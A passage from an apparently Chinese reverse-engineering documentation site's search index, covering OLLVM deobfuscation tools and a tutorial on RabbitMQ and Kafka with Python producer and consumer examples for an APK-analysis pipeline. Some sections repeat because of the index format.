符号执行引擎 迭代优化：多轮分析，逐步恢复原始逻辑 自动化流程：建立可复用的分析 Pipeline ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:10:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#去混淆策略建议"},{"categories":null,"collections":null,"content":"推荐工具清单 工具 用途 链接 D-810 IDA Pro OLLVM 去混淆插件 GitHub Miasm 二进制分析框架 GitHub angr 符号执行引擎 GitHub Triton 动态符号执行 GitHub Unicorn CPU 模拟器 GitHub Z3 SMT 求解器 GitHub Frida 动态插桩框架 frida.re ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:10:3","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#推荐工具清单"},{"categories":null,"collections":null,"content":"学习路径 理解编译原理和 LLVM IR 掌握逆向工程基础（IDA Pro、汇编语言） 学习符号执行和约束求解 实践各类去混淆工具 分析真实的混淆样本 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:10:4","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#学习路径"},{"categories":null,"collections":null,"content":"消息队列 消息队列（Message Queue）是分布式系统中实现异步通信、解耦组件的核心中间件，在逆向工程数据管线中扮演着至关重要的角色。 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:0:0","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#消息队列"},{"categories":null,"collections":null,"content":"消息队列概述 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:1:0","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#消息队列概述"},{"categories":null,"collections":null,"content":"什么是消息队列 消息队列是一种进程间或服务间的异步通信机制。生产者（Producer）将消息发送到队列，消费者（Consumer）从队列中取出消息进行处理。两端无需同时在线，也无需知道对方的存在。 ┌──────────┐ ┌──────────────────┐ ┌──────────┐ │ Producer │───\u003e│ Message Queue │───\u003e│ Consumer │ │ 生产者 │ │ 消息队列 │ │ 消费者 │ └──────────┘ └──────────────────┘ └──────────┘ │ │ │ 异步、解耦、削峰 │ └───────── 无需直接依赖 ─────────────────┘ ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:1:1","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#什么是消息队列"},{"categories":null,"collections":null,"content":"为什么需要消息队列 能力 说明 异步处理 耗时操作（反编译、特征提取）放入队列，主流程立即返回 应用解耦 采集端和分析端独立部署、独立扩容 流量削峰 突发大量样本到达时，队列缓冲避免后端过载 可靠投递 消息持久化保证数据不丢失 广播分发 一条样本数据可同时分发给多个分析引擎 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:1:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#为什么需要消息队列"},{"categories":null,"collections":null,"content":"逆向工程 / 数据采集中的典型场景 批量 APK 分析管线 - 爬虫采集 APK 下载链接，推送到队列，多个工作节点并行反编译和特征提取 实时协议抓包 - Frida Hook 抓到的网络请求实时写入队列，后端做协议解析和存储 分布式爬虫调度 - URL 任务分发、去重、优先级排序 样本特征聚合 - 多个分析引擎将结果写入同一队列，汇总到数据仓库 ┌─────────────┐ ┌───────────┐ ┌──────────────────┐ │ Frida Hook │────\u003e│ │────\u003e│ 协议解析 Worker │ │ 抓包脚本 │ │ │ └──────────────────┘ └─────────────┘ │ │ ┌──────────────────┐ │ Message │────\u003e│ 特征提取 Worker │ ┌─────────────┐ │ Queue │ └──────────────────┘ │ APK 爬虫 │────\u003e│ │ ┌──────────────────┐ │ 下载器 │ │ │────\u003e│ 存储 Worker │ └─────────────┘ └───────────┘ └──────────────────┘ ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:1:3","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#逆向工程--数据采集中的典型场景"},{"categories":null,"collections":null,"content":"主流消息队列对比 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:2:0","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#主流消息队列对比"},{"categories":null,"collections":null,"content":"综合对比表 特性 RabbitMQ Kafka Redis Pub/Sub RocketMQ 开发语言 Erlang Scala/Java C Java 协议 AMQP 自定义协议 RESP 自定义协议 吞吐量 万级/秒 百万级/秒 十万级/秒 十万级/秒 延迟 微秒级 毫秒级 微秒级 毫秒级 消息持久化 支持 支持（默认） 可选（Stream） 支持 消息回溯 不支持 支持 Stream 支持 支持 消费模式 Push/Pull Pull Push Push/Pull 事务消息 支持 支持 不支持 支持 延迟消息 插件支持 不原生支持 不支持 原生支持 管理界面 自带 Web UI 第三方（Kafka UI） 无 自带 Dashboard 适用场景 复杂路由、可靠投递 大数据流、日志采集 轻量级通知 电商、金融 学习曲线 中等 较高 低 中等 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:2:1","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#综合对比表"},{"categories":null,"collections":null,"content":"性能参考（单机基准测试） 指标 RabbitMQ Kafka Redis Stream 写入 QPS ~20,000 ~800,000 ~100,000 读取 QPS ~20,000 ~1,000,000 ~100,000 P99 延迟 \u003c1ms ~5ms \u003c1ms 单消息大小建议 \u003c1MB \u003c1MB \u003c512KB 注意: 以上数据为典型配置下的参考值，实际性能受硬件、配置、消息大小等因素影响。 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:2:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#性能参考单机基准测试"},{"categories":null,"collections":null,"content":"RabbitMQ 基础 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:3:0","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#rabbitmq-基础"},{"categories":null,"collections":null,"content":"核心概念 ┌─────────────────────────────────────────────────────────────┐ │ RabbitMQ Broker │ │ │ │ ┌──────────┐ Binding ┌─────────┐ │ │ │ Exchange │──────────────\u003e│ Queue │──\u003e Consumer 1 │ │ │ 交换机 │ RoutingKey │ 队列 │ │ │ │ │──────┐ └─────────┘ │ │ └──────────┘ │ ┌─────────┐ │ │ ↑ └──────\u003e│ Queue │──\u003e Consumer 2 │ │ │ │ 队列 │ │ │ Producer └─────────┘ │ └─────────────────────────────────────────────────────────────┘ 概念 说明 Exchange（交换机） 接收生产者消息，根据规则路由到队列 Queue（队列） 存储消息，等待消费者拉取 Binding（绑定） Exchange 与 Queue 之间的关联规则 Routing Key 消息的路由键，Exchange 据此决定投递目标 Virtual Host 逻辑隔离单元，类似数据库的 schema ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:3:1","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#核心概念"},{"categories":null,"collections":null,"content":"Exchange 类型 类型 路由规则 典型用途 direct 精确匹配 Routing Key 任务按类型分发 fanout 广播到所有绑定队列 通知所有消费者 topic 通配符匹配 Routing Key（* 和 #） 灵活的多级路由 headers 根据消息 headers 匹配 复杂条件路由 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:3:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#exchange-类型"},{"categories":null,"collections":null,"content":"Python pika 基础示例 安装依赖 pip install pika 生产者 import pika import json def create_connection(): \"\"\"创建 RabbitMQ 连接\"\"\" credentials = pika.PlainCredentials('guest', 'guest') parameters = pika.ConnectionParameters( host='localhost', port=5672, virtual_host='/', credentials=credentials, heartbeat=600, blocked_connection_timeout=300, ) return pika.BlockingConnection(parameters) def publish_task(task_data: dict): \"\"\"发布分析任务到队列\"\"\" connection = create_connection() channel = connection.channel() # 声明交换机和队列 channel.exchange_declare( exchange='re_analysis', exchange_type='direct', durable=True, ) channel.queue_declare(queue='apk_analysis', durable=True) channel.queue_bind( queue='apk_analysis', exchange='re_analysis', routing_key='apk', ) # 发布消息（持久化） channel.basic_publish( exchange='re_analysis', routing_key='apk', body=json.dumps(task_data), properties=pika.BasicProperties( delivery_mode=2, # 消息持久化 content_type='application/json', ), ) print(f\"[x] 已发送任务: {task_data['apk_name']}\") connection.close() # 批量发送 APK 分析任务 if __name__ == '__main__': tasks = [ {'apk_name': 'target_v1.0.apk', 'url': 'https://...', 'priority': 'high'}, {'apk_name': 'target_v2.0.apk', 'url': 'https://...', 'priority': 'normal'}, ] for task in tasks: publish_task(task) 消费者 import pika import json import time def callback(ch, method, properties, body): \"\"\"处理分析任务\"\"\" task = json.loads(body) print(f\"[*] 开始分析: {task['apk_name']}\") try: # 模拟耗时的反编译操作 time.sleep(5) print(f\"[✓] 分析完成: {task['apk_name']}\") # 手动确认消息 ch.basic_ack(delivery_tag=method.delivery_tag) except Exception as e: print(f\"[!] 分析失败: {e}\") # 拒绝消息，重新入队 ch.basic_nack(delivery_tag=method.delivery_tag, requeue=True) def start_consumer(): \"\"\"启动消费者\"\"\" connection = create_connection() channel = connection.channel() channel.queue_declare(queue='apk_analysis', durable=True) # 每次只取一条消息，处理完再取下一条 channel.basic_qos(prefetch_count=1) channel.basic_consume( queue='apk_analysis', on_message_callback=callback, auto_ack=False, # 手动确认 ) print('[*] 等待分析任务，按 Ctrl+C 退出') channel.start_consuming() if __name__ == '__main__': start_consumer() ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:3:3","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#python-pika-基础示例"},{"categories":null,"collections":null,"content":"Python pika 基础示例 安装依赖 pip install pika 生产者 import pika import json def create_connection(): \"\"\"创建 RabbitMQ 连接\"\"\" credentials = pika.PlainCredentials('guest', 'guest') parameters = pika.ConnectionParameters( host='localhost', port=5672, virtual_host='/', credentials=credentials, heartbeat=600, blocked_connection_timeout=300, ) return pika.BlockingConnection(parameters) def publish_task(task_data: dict): \"\"\"发布分析任务到队列\"\"\" connection = create_connection() channel = connection.channel() # 声明交换机和队列 channel.exchange_declare( exchange='re_analysis', exchange_type='direct', durable=True, ) channel.queue_declare(queue='apk_analysis', durable=True) channel.queue_bind( queue='apk_analysis', exchange='re_analysis', routing_key='apk', ) # 发布消息（持久化） channel.basic_publish( exchange='re_analysis', routing_key='apk', body=json.dumps(task_data), properties=pika.BasicProperties( delivery_mode=2, # 消息持久化 content_type='application/json', ), ) print(f\"[x] 已发送任务: {task_data['apk_name']}\") connection.close() # 批量发送 APK 分析任务 if __name__ == '__main__': tasks = [ {'apk_name': 'target_v1.0.apk', 'url': 'https://...', 'priority': 'high'}, {'apk_name': 'target_v2.0.apk', 'url': 'https://...', 'priority': 'normal'}, ] for task in tasks: publish_task(task) 消费者 import pika import json import time def callback(ch, method, properties, body): \"\"\"处理分析任务\"\"\" task = json.loads(body) print(f\"[*] 开始分析: {task['apk_name']}\") try: # 模拟耗时的反编译操作 time.sleep(5) print(f\"[✓] 分析完成: {task['apk_name']}\") # 手动确认消息 ch.basic_ack(delivery_tag=method.delivery_tag) except Exception as e: print(f\"[!] 分析失败: {e}\") # 拒绝消息，重新入队 ch.basic_nack(delivery_tag=method.delivery_tag, requeue=True) def start_consumer(): \"\"\"启动消费者\"\"\" connection = create_connection() channel = connection.channel() channel.queue_declare(queue='apk_analysis', durable=True) # 每次只取一条消息，处理完再取下一条 channel.basic_qos(prefetch_count=1) channel.basic_consume( queue='apk_analysis', on_message_callback=callback, auto_ack=False, # 手动确认 ) print('[*] 等待分析任务，按 Ctrl+C 退出') channel.start_consuming() if __name__ == '__main__': start_consumer() ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:3:3","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#安装依赖"},{"categories":null,"collections":null,"content":"Python pika 基础示例 安装依赖 pip install pika 生产者 import pika import json def create_connection(): \"\"\"创建 RabbitMQ 连接\"\"\" credentials = pika.PlainCredentials('guest', 'guest') parameters = pika.ConnectionParameters( host='localhost', port=5672, virtual_host='/', credentials=credentials, heartbeat=600, blocked_connection_timeout=300, ) return pika.BlockingConnection(parameters) def publish_task(task_data: dict): \"\"\"发布分析任务到队列\"\"\" connection = create_connection() channel = connection.channel() # 声明交换机和队列 channel.exchange_declare( exchange='re_analysis', exchange_type='direct', durable=True, ) channel.queue_declare(queue='apk_analysis', durable=True) channel.queue_bind( queue='apk_analysis', exchange='re_analysis', routing_key='apk', ) # 发布消息（持久化） channel.basic_publish( exchange='re_analysis', routing_key='apk', body=json.dumps(task_data), properties=pika.BasicProperties( delivery_mode=2, # 消息持久化 content_type='application/json', ), ) print(f\"[x] 已发送任务: {task_data['apk_name']}\") connection.close() # 批量发送 APK 分析任务 if __name__ == '__main__': tasks = [ {'apk_name': 'target_v1.0.apk', 'url': 'https://...', 'priority': 'high'}, {'apk_name': 'target_v2.0.apk', 'url': 'https://...', 'priority': 'normal'}, ] for task in tasks: publish_task(task) 消费者 import pika import json import time def callback(ch, method, properties, body): \"\"\"处理分析任务\"\"\" task = json.loads(body) print(f\"[*] 开始分析: {task['apk_name']}\") try: # 模拟耗时的反编译操作 time.sleep(5) print(f\"[✓] 分析完成: {task['apk_name']}\") # 手动确认消息 ch.basic_ack(delivery_tag=method.delivery_tag) except Exception as e: print(f\"[!] 分析失败: {e}\") # 拒绝消息，重新入队 ch.basic_nack(delivery_tag=method.delivery_tag, requeue=True) def start_consumer(): \"\"\"启动消费者\"\"\" connection = create_connection() channel = connection.channel() channel.queue_declare(queue='apk_analysis', durable=True) # 每次只取一条消息，处理完再取下一条 channel.basic_qos(prefetch_count=1) channel.basic_consume( queue='apk_analysis', on_message_callback=callback, auto_ack=False, # 手动确认 ) print('[*] 等待分析任务，按 Ctrl+C 退出') channel.start_consuming() if __name__ == '__main__': start_consumer() ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:3:3","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#生产者"},{"categories":null,"collections":null,"content":"Python pika 基础示例 安装依赖 pip install pika 生产者 import pika import json def create_connection(): \"\"\"创建 RabbitMQ 连接\"\"\" credentials = pika.PlainCredentials('guest', 'guest') parameters = pika.ConnectionParameters( host='localhost', port=5672, virtual_host='/', credentials=credentials, heartbeat=600, blocked_connection_timeout=300, ) return pika.BlockingConnection(parameters) def publish_task(task_data: dict): \"\"\"发布分析任务到队列\"\"\" connection = create_connection() channel = connection.channel() # 声明交换机和队列 channel.exchange_declare( exchange='re_analysis', exchange_type='direct', durable=True, ) channel.queue_declare(queue='apk_analysis', durable=True) channel.queue_bind( queue='apk_analysis', exchange='re_analysis', routing_key='apk', ) # 发布消息（持久化） channel.basic_publish( exchange='re_analysis', routing_key='apk', body=json.dumps(task_data), properties=pika.BasicProperties( delivery_mode=2, # 消息持久化 content_type='application/json', ), ) print(f\"[x] 已发送任务: {task_data['apk_name']}\") connection.close() # 批量发送 APK 分析任务 if __name__ == '__main__': tasks = [ {'apk_name': 'target_v1.0.apk', 'url': 'https://...', 'priority': 'high'}, {'apk_name': 'target_v2.0.apk', 'url': 'https://...', 'priority': 'normal'}, ] for task in tasks: publish_task(task) 消费者 import pika import json import time def callback(ch, method, properties, body): \"\"\"处理分析任务\"\"\" task = json.loads(body) print(f\"[*] 开始分析: {task['apk_name']}\") try: # 模拟耗时的反编译操作 time.sleep(5) print(f\"[✓] 分析完成: {task['apk_name']}\") # 手动确认消息 ch.basic_ack(delivery_tag=method.delivery_tag) except Exception as e: print(f\"[!] 分析失败: {e}\") # 拒绝消息，重新入队 ch.basic_nack(delivery_tag=method.delivery_tag, requeue=True) def start_consumer(): \"\"\"启动消费者\"\"\" connection = create_connection() channel = connection.channel() channel.queue_declare(queue='apk_analysis', durable=True) # 每次只取一条消息，处理完再取下一条 channel.basic_qos(prefetch_count=1) channel.basic_consume( queue='apk_analysis', on_message_callback=callback, auto_ack=False, # 手动确认 ) print('[*] 等待分析任务，按 Ctrl+C 退出') channel.start_consuming() if __name__ == '__main__': start_consumer() ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:3:3","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#消费者"},{"categories":null,"collections":null,"content":"Topic Exchange 模式（多级路由） import pika import json def setup_topic_exchange(): \"\"\"为不同类型的逆向任务设置 Topic 路由\"\"\" connection = create_connection() channel = connection.channel() channel.exchange_declare(exchange='re_tasks', exchange_type='topic', durable=True) # 不同分析队列 queues = { 'static_analysis': 'task.static.#', # 匹配所有静态分析 'dynamic_analysis': 'task.dynamic.#', # 匹配所有动态分析 'all_analysis': 'task.#', # 匹配所有任务 } for queue_name, binding_key in queues.items(): channel.queue_declare(queue=queue_name, durable=True) channel.queue_bind( exchange='re_tasks', queue=queue_name, routing_key=binding_key, ) # 发布不同类型的任务 # routing_key='task.static.apk' -\u003e 匹配 static_analysis 和 all_analysis channel.basic_publish( exchange='re_tasks', routing_key='task.static.apk', body=json.dumps({'type': 'jadx_decompile', 'target': 'app.apk'}), ) # routing_key='task.dynamic.frida' -\u003e 匹配 dynamic_analysis 和 all_analysis channel.basic_publish( exchange='re_tasks', routing_key='task.dynamic.frida', body=json.dumps({'type': 'frida_hook', 'target': 'com.example.app'}), ) connection.close() ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:3:4","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#topic-exchange-模式多级路由"},{"categories":null,"collections":null,"content":"Kafka 基础 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:4:0","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#kafka-基础"},{"categories":null,"collections":null,"content":"核心概念 ┌────────────────────────── Kafka Cluster ──────────────────────────┐ │ │ │ Topic: \"apk_samples\" │ │ ┌──────────────────────────────────────────┐ │ │ │ Partition 0: [msg0][msg3][msg6][msg9]... │ ──\u003e Consumer A │ │ │ Partition 1: [msg1][msg4][msg7][msg10].. │ ──\u003e Consumer B │ │ │ Partition 2: [msg2][msg5][msg8][msg11].. │ ──\u003e Consumer C │ │ └──────────────────────────────────────────┘ │ │ │ │ Consumer Group: \"analysis_group\" │ │ 每个 Partition 只由同组内一个 Consumer 消费 │ │ │ │ Broker 1 (Leader P0) Broker 2 (Leader P1) Broker 3 │ │ ├── P0 (Leader) ├── P1 (Leader) ├── P2 (Leader) │ │ ├── P1 (Replica) ├── P2 (Replica) ├── P0 (Replica)│ │ └── P2 (Replica) └── P0 (Replica) └── P1 (Replica)│ └───────────────────────────────────────────────────────────────────┘ 概念 说明 Topic（主题） 消息的逻辑分类，类似数据库中的表 Partition（分区） Topic 的物理分片，实现并行读写 Offset（偏移量） 消息在 Partition 中的唯一序号 Consumer Group 消费者组，组内成员分担 Partition Broker Kafka 服务节点 Replication 分区副本，提供高可用 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:4:1","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#核心概念-1"},{"categories":null,"collections":null,"content":"kafka-python 基础示例 安装依赖 pip install kafka-python 生产者 from kafka import KafkaProducer import json import time def create_producer(): \"\"\"创建 Kafka 生产者\"\"\" return KafkaProducer( bootstrap_servers=['localhost:9092'], value_serializer=lambda v: json.dumps(v).encode('utf-8'), key_serializer=lambda k: k.encode('utf-8') if k else None, # 可靠性配置 acks='all', # 等待所有副本确认 retries=3, # 重试次数 retry_backoff_ms=500, # 重试间隔 # 性能配置 batch_size=16384, # 批量发送大小 linger_ms=10, # 等待凑批时间 compression_type='gzip', ) def send_apk_samples(producer, samples: list): \"\"\"批量发送 APK 样本信息\"\"\" for sample in samples: future = producer.send( topic='apk_samples', key=sample['package_name'], # 同一包名发到同一分区 value=sample, ) # 异步回调 future.add_callback( lambda metadata: print( f\"[✓] 发送成功: partition={metadata.partition}, \" f\"offset={metadata.offset}\" ) ) future.add_errback( lambda exc: print(f\"[!] 发送失败: {exc}\") ) producer.flush() # 确保所有消息发送完成 if __name__ == '__main__': producer = create_producer() samples = [ { 'package_name': 'com.example.app', 'version': '1.0.0', 'sha256': 'abc123...', 'source': 'market_crawler', 'timestamp': time.time(), }, { 'package_name': 'com.target.app', 'version': '2.3.1', 'sha256': 'def456...', 'source': 'manual_upload', 'timestamp': time.time(), }, ] send_apk_samples(producer, samples) producer.close() 消费者 from kafka import KafkaConsumer import json def create_consumer(group_id: str): \"\"\"创建 Kafka 消费者\"\"\" return KafkaConsumer( 'apk_samples', bootstrap_servers=['localhost:9092'], group_id=group_id, value_deserializer=lambda m: json.loads(m.decode('utf-8')), # 偏移量管理 auto_offset_reset='earliest', # 从最早消息开始 enable_auto_commit=False, # 手动提交偏移量 # 性能配置 max_poll_records=100, fetch_max_wait_ms=500, ) def run_analysis_consumer(): \"\"\"运行分析消费者\"\"\" consumer = create_consumer('analysis_group') try: for message in consumer: sample = message.value print( f\"[*] 收到样本: {sample['package_name']} v{sample['version']}\" f\" | partition={message.partition} offset={message.offset}\" ) # 执行分析逻辑 result = analyze_sample(sample) # 手动提交偏移量（确保处理完成后再提交） consumer.commit() print(f\"[✓] 分析完成，已提交 offset\") except KeyboardInterrupt: print(\"[*] 消费者关闭中...\") finally: consumer.close() def analyze_sample(sample: dict) -\u003e dict: \"\"\"分析 APK 样本（示例）\"\"\" return { 'package_name': sample['package_name'], 'is_obfuscated': True, 'permissions': ['INTERNET', 'READ_PHONE_STATE'], 'native_libs': ['libprotect.so'], } if __name__ == '__main__': run_analysis_consumer() 多分区并行消费 from kafka import KafkaConsumer, TopicPartition import threading def partition_consumer(partition_id: int): \"\"\"为指定分区创建独立消费者\"\"\" consumer = KafkaConsumer( bootstrap_servers=['localhost:9092'], value_deserializer=lambda m: json.loads(m.decode('utf-8')), enable_auto_commit=True, ) tp = TopicPartition('apk_samples', partition_id) consumer.assign([tp]) print(f\"[*] 消费者已分配 Partition {partition_id}\") for message in consumer: print(f\"[P{partition_id}] {message.value['package_name']}\") # 为每个分区启动一个线程 threads = [] for i in range(3): t = threading.Thread(target=partition_consumer, args=(i,)) t.daemon = True t.start() threads.append(t) ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:4:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#kafka-python-基础示例"},{"categories":null,"collections":null,"content":"kafka-python 基础示例 安装依赖 pip install kafka-python 生产者 from kafka import KafkaProducer import json import time def create_producer(): \"\"\"创建 Kafka 生产者\"\"\" return KafkaProducer( bootstrap_servers=['localhost:9092'], value_serializer=lambda v: json.dumps(v).encode('utf-8'), key_serializer=lambda k: k.encode('utf-8') if k else None, # 可靠性配置 acks='all', # 等待所有副本确认 retries=3, # 重试次数 retry_backoff_ms=500, # 重试间隔 # 性能配置 batch_size=16384, # 批量发送大小 linger_ms=10, # 等待凑批时间 compression_type='gzip', ) def send_apk_samples(producer, samples: list): \"\"\"批量发送 APK 样本信息\"\"\" for sample in samples: future = producer.send( topic='apk_samples', key=sample['package_name'], # 同一包名发到同一分区 value=sample, ) # 异步回调 future.add_callback( lambda metadata: print( f\"[✓] 发送成功: partition={metadata.partition}, \" f\"offset={metadata.offset}\" ) ) future.add_errback( lambda exc: print(f\"[!] 发送失败: {exc}\") ) producer.flush() # 确保所有消息发送完成 if __name__ == '__main__': producer = create_producer() samples = [ { 'package_name': 'com.example.app', 'version': '1.0.0', 'sha256': 'abc123...', 'source': 'market_crawler', 'timestamp': time.time(), }, { 'package_name': 'com.target.app', 'version': '2.3.1', 'sha256': 'def456...', 'source': 'manual_upload', 'timestamp': time.time(), }, ] send_apk_samples(producer, samples) producer.close() 消费者 from kafka import KafkaConsumer import json def create_consumer(group_id: str): \"\"\"创建 Kafka 消费者\"\"\" return KafkaConsumer( 'apk_samples', bootstrap_servers=['localhost:9092'], group_id=group_id, value_deserializer=lambda m: json.loads(m.decode('utf-8')), # 偏移量管理 auto_offset_reset='earliest', # 从最早消息开始 enable_auto_commit=False, # 手动提交偏移量 # 性能配置 max_poll_records=100, fetch_max_wait_ms=500, ) def run_analysis_consumer(): \"\"\"运行分析消费者\"\"\" consumer = create_consumer('analysis_group') try: for message in consumer: sample = message.value print( f\"[*] 收到样本: {sample['package_name']} v{sample['version']}\" f\" | partition={message.partition} offset={message.offset}\" ) # 执行分析逻辑 result = analyze_sample(sample) # 手动提交偏移量（确保处理完成后再提交） consumer.commit() print(f\"[✓] 分析完成，已提交 offset\") except KeyboardInterrupt: print(\"[*] 消费者关闭中...\") finally: consumer.close() def analyze_sample(sample: dict) -\u003e dict: \"\"\"分析 APK 样本（示例）\"\"\" return { 'package_name': sample['package_name'], 'is_obfuscated': True, 'permissions': ['INTERNET', 'READ_PHONE_STATE'], 'native_libs': ['libprotect.so'], } if __name__ == '__main__': run_analysis_consumer() 多分区并行消费 from kafka import KafkaConsumer, TopicPartition import threading def partition_consumer(partition_id: int): \"\"\"为指定分区创建独立消费者\"\"\" consumer = KafkaConsumer( bootstrap_servers=['localhost:9092'], value_deserializer=lambda m: json.loads(m.decode('utf-8')), enable_auto_commit=True, ) tp = TopicPartition('apk_samples', partition_id) consumer.assign([tp]) print(f\"[*] 消费者已分配 Partition {partition_id}\") for message in consumer: print(f\"[P{partition_id}] {message.value['package_name']}\") # 为每个分区启动一个线程 threads = [] for i in range(3): t = threading.Thread(target=partition_consumer, args=(i,)) t.daemon = True t.start() threads.append(t) ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/:4:2","tags":["大数据","工程实践","消息队列"],"title":"消息队列","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/message_queues/#安装依赖-1"},{"categories":null,"collections":null,"content":"kafka-python 基础示例 安装依赖 pip install kafka-python 生产者 from kafka import KafkaProducer import json import time def create_producer(): \"\"\"创建 Kafka 生产者\"\"\" return KafkaProducer( bootstrap_servers=['localhost:9092'], value_serializer=lambda v: json.dumps(v).encode('utf-8'), key_serializer=lambda k: k.encode('utf-8') if k else None, # 可靠性配置 acks='all', # 等待所有副本确认 retries=3, # 重试次数 retry_backoff_ms=500, # 重试间隔 # 性能配置 batch_size=16384, # 批量发送大小 linger_ms=10, # 等待凑批时间 compression_type='gzip', ) def send_apk_samples(producer, samples: list): \"\"\"批量发送 APK 样本信息\"\"\" for sample in samples: future = producer.send( topic='apk_samples', key=sample['package_name'], # 同一包名发到同一分区 value=sample, ) # 异步回调 future.add_callback( lambda metadata: print( f\"[✓] 发送成功: partition={metadata.partition}, \" f\"offset={metadata.offset}\" ) ) future.add_errback( lambda exc: print(f\"[!] 发送失败: {exc}\") ) producer.flush() # 确保所有消息发送完成 if __name__ == '__main__': producer = create_producer() samples = [ { 'package_name': 'com.example.app', 'version': '1.0.0', 'sha256': 'abc123...', 'source': 'market_crawler', 'timestamp': time.time(), }, { 'package_name': 'com.target.app', 'version': '2.3.1', 'sha256': 'def456...', 'source': 'manual_upload', 'timestamp': time.time(), }, ] send_apk_samples(producer, samples) producer.close() 消费者 from kafka import KafkaConsumer import json def create_consumer(group_id: str): \"\"\"创建 Kafka 消费者\"\"\" return KafkaConsumer( 'apk_samples', bootstrap_servers=['localhost:9092'], group_id=group_id, value_deserializer=lambda m: json.loads(m.decode('utf-8')), # 偏移量管理 auto_offset_reset='earliest', # 从最早消息开始 enable_auto_commit=False, # 手动提交偏移量 # 性能配置 max_poll_records=100, fetch_max_wait_ms=500, ) def run_analysis_consumer(): \"\"\"运行分析消费者\"\"\" consumer = create_consumer('analysis_group') try: for message in consumer: sample = message.value print( f\"[*] 收到样本: {sample['package_name']} v{sample['version']}\" f\" | partition={message.partition} offset={message.offset}\" ) # 执行分析逻辑 result = analyze_sample(sample) # 手动提交偏移量（确保处理完成后再提交） 